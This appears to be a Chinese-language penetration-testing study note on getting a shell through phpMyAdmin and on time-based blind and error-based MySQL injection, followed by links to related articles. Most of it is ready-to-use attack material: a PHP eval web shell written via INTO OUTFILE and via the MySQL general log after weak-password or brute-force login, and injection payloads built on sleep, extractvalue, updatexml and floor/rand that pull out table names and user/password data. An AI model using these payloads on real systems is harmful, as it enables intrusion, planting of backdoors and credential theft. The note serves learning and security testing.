2019-9-9:渗透测试,基础学习,phpmyadmin getshell方法,基于时间的盲注,基于报错的注入,笔记
phpmyadmin getshell方法
1,查看是否有导入导出设置 show global variables like '%secure-file-priv%';
2,如果secure-file-priv没设置为空或指定的文件夹可以利用,写入木马,select"<?php @eval($_POST[s]);?>" into outfile "var/www/html/xx.php"
利用日志文件getshell,mysql大于5.0版本会创建日志文件,并且创建日志文件为全局变量,且可以读写的
常见的日志文件分为业务日志和系统日志,利用Phpmyadmin的日志文件去Getshell
1,通过弱口令或爆破方式登录phpmyadmin,执行sql语句select @@datadir; 得到数据库位置之后猜测源码存放的位置D:\phpstudy_pro\www下
2,查看日志状态,show variables like '%general%'
3,开启日志记录功能,并且修改记录的路径和文件名,set global general_log = 'on'
4,修改保存文件位置,set global general_log_file = 'd:/phpstudy_pro/www/log.php'
5,写入一句话select"<?php @eval($_POST[s]);?>"
基于时间的sql注入
使用特定的函数,让数据库去执行,在页面等待一定时间来查看当前页面中的注入情况
函数
sleep(),数据库暂停一段时间
benchmark(),可以测试某些特定操作的执行速度。参数1可以是需要执行的次数,参数2是表达式就是某些动作。表达式可以是任何的标量表达式,比如返回值是标量的子查询或者函数,比如benchmark(100,100*100)
操作步骤
1,找注入点,1' and sleep(3)%23
2,获取当前数据库长度,and if(ascii(substring(database(),1,1))=114,sleep(5),'bye'),只有正确了才会sleep
3,获取数据表,and if(ascii(substring((select distinct table_name from information_schema.columns where table_schema=database() limit 0,1),1,1))=114,sleep(5),'bye'),只有正确了才会sleep,得到有价值的表,比如user
4,获取表的字段 ,and if(ascii(substring((select distinct column_name from information_schema.tables where table_schema=database() and table_name='users(需要转码16禁止)' limit 0,1),1,1))=114,sleep(5),'bye'),只有正确了才会sleep,得到有价值的表中字段,比如user,password
5,获取值表中内容,and if(ascii(substring((select distinct select concat(user,0x7e,password) from users limit 0,1),1,1))=114,sleep(5),'bye'),只有正确了才会sleep,得到表中内容
6,破解密码,扫描目录,登录后台
报错型sql注入
利用一些报错的函数构造Pyload,数据库执行之后会报错,将需要的数据带出来,达到攻击目的
报错函数
1,extractvalue(xml,value),extractvalue()函数也是MySQL 5.1以后推出的对xml文档数据进行查询和修改的xpath函数。
extractvalue()的xml参数随便设定一个数。利用extractvalue()获取数据的固定payload是:or extractvalue(1,concat('#',(select * from (select ....) a)))#
2,updatexml(参数1,参数2,参数3)函数,updatexml()函数是MySQL对xml文档数据进行查询和修改的xpath函数。改变xml文档中符合条件的值,参数1为xml文档,参数2是xpath格式字符串,参数3是string格式的用来替换查找到符合条件的字符串
updatexml()获取数据的固定payload是:or updatexml(1,concat('#',(select * from (select ...) a)),0) #
extracvalue()和updatexml()报错函数,截取字符长度都限制了32位
3,floor()函数返回小于等于该值的最大整数,必需和conut() 计数,rand()产生0到1随机数,但是自己设置数的话会变长固定的, group by排序,等配合使用,只要可以达到相同目的的函数都可以使用
(select 1 from (select count(*),concat_ws('-',(select database()),floor(rand()*2))as a from information_schema.tables group by a) b) where username='admin'
2019-9-9:渗透测试,基础学习,phpmyadmin getshell方法,基于时间的盲注,基于报错的注入,笔记的更多相关文章
- DVWA-基于布尔值的盲注与基于时间的盲注学习笔记
DVWA-基于布尔值的盲注与基于时间的盲注学习笔记 基于布尔值的盲注 一.DVWA分析 将DVWA的级别设置为low 1.分析源码,可以看到对参数没有做任何过滤,但对sql语句查询的返回的结果做了改变 ...
- 渗透之路基础 -- SQL进阶(盲注和报错注入)
SQL注入之盲注 实战过程中,大多情况下很少会有回显,这个时候就要去使用盲注技术 盲注,Blind SQL Injection,听这名字就感觉整个过程就是一个盲目的过程 当注入时,没有任何提示的时候, ...
- 零基础到精通Web渗透测试的学习路线
小编相信很多新手都会遇到以下几个问题 1.零基础想学渗透怎么入手? 2.学习web渗透需要从哪里开始? 这让很多同学都处于迷茫状态而迟迟不下手,小编就在此贴给大家说一下web渗透的学习路线,希望对大家 ...
- 2019-10-29:渗透测试,基础学习,sqlmap文件读取,写入,dnslog盲注作用,mssql手工注入,笔记
sqlmap参数--file-read,从数据库服务器中读取文件--file-write,--file-dest,把文件上传到数据库服务器中 dnslog平台的学习和它在盲注中的应用1,判断注入点2, ...
- WEB渗透测试基础工具
代理查询网站:hidemyass(隐藏我的屁股) HTTrack:HTTrack是一个免费和易用的离线浏览工具(浏览器),它可以允许你下载整个WWW网站至本地目录,并且通过遍历网站目录获取HTML,图 ...
- 怎么规划一个零基础学习Unity3D的“方法”或者“流程”?
具体出处:https://www.zhihu.com/question/35542990 我只是一个计算机相关专业毕业的,已经掌握了基础的C#并开发过.net的.目前突然心血来潮对unity3D有兴趣 ...
- 转载过来的参考内容---常规36个WEB渗透测试漏洞描述及修复方法----很详细
常规WEB渗透测试漏洞描述及修复 --转自:http://www.51testing.com/html/92/n-3723692.html (1). Apache样例文件泄漏 漏洞描述 apa ...
- kali渗透测试基础
一侦查 研究如何收集有关目标的情报,比如开发那些端口用来通信,托管在哪里,提供给客户的服务类型等. 交付内容应该包括需要攻击的所有目标资产清单,与那些资产关联的应用,使用的服务以及可能的资产所有者. ...
- kali黑客渗透测试基础环境准备
1.apt-get install python-nmap 2.apt-get install python-setuptools 正在读取软件包列表... 完成 正在分析软件包的依赖关系树 ...
随机推荐
- (day31) Event+协程+进程/线程池
目录 昨日回顾 GIL全局解释器锁 计算密集型和IO密集型 死锁现象 递归锁 信号量 线程队列 FOFI队列 LIFO队列 优先级队列 今日内容 Event事件 线程池与进程池 异步提交和回调函数 协 ...
- Sqoop的安装和验证
Sqoop是一个用来完成Hadoop和关系型数据库中的数据相互转移的工具,它可以将关系型数据库中的数据导入到Hadoop的HDFS中,也可以将HDFS的数据导入到关系型数据库中. Kafka是一个开源 ...
- WCF(一):初探WCF
目录: 一.什么是WCF 二.WCF能做什么 三.WCF的模型 四.WCF的基本概念 五.WCF的快速创建 1.WCF是什么? A.WindowsCommunication Foundation(WC ...
- NetworkManager网络通讯_networkReader/Writer(六)
unet客户端和服务端进行消息发送时可以采用上一节中方法,也可以直接用networkReader/Writer类进行发送 (一)服务端/客户端注册消息 ; m_Server.RegisterHandl ...
- django-模板之with标签(十二)
就是给传过来的值取个别名.
- cacti1.2.7安装教程+Centos7|Cacti1.2.x+Centos7+Spine1.2.7零基础手把手教学
cacti1.2.7安装教程+Centos7|Cacti1.2.x+Centos7+Spine1.2.7零基础手把手教学 教程地址: 链接:http://note.youdao.com/notesha ...
- ABAP中将Unicode字符串转换成中文的方法
以下为示例代码: DATA: LV_UNICODE TYPE STRING, "Unicode字符串 LV_CHINESE TYPE STRING. ...
- NLP预训练模型-百度ERNIE2.0的效果到底有多好【附用户点评】
ERNIE是百度自研的持续学习语义理解框架,该框架支持增量引入词汇(lexical).语法 (syntactic) .语义(semantic)等3个层次的自定义预训练任务,能够全面捕捉训练语料中的词法 ...
- Angular 项目中如何使用 ECharts
在有些使用 ECharts 库的 Angular 项目中,通常除了安装 npm 包之外,还会在 angular.json 中配置 “build.options.scripts”,将 “node_mod ...
- [Pandas]利用Pandas处理excel数据
Python 处理excel的第三包有很多,比如XlsxWriter.xlrd&xlwt.OpenPyXL.Microsoft Excel API等,最后综合考虑选用了Pandas. Pand ...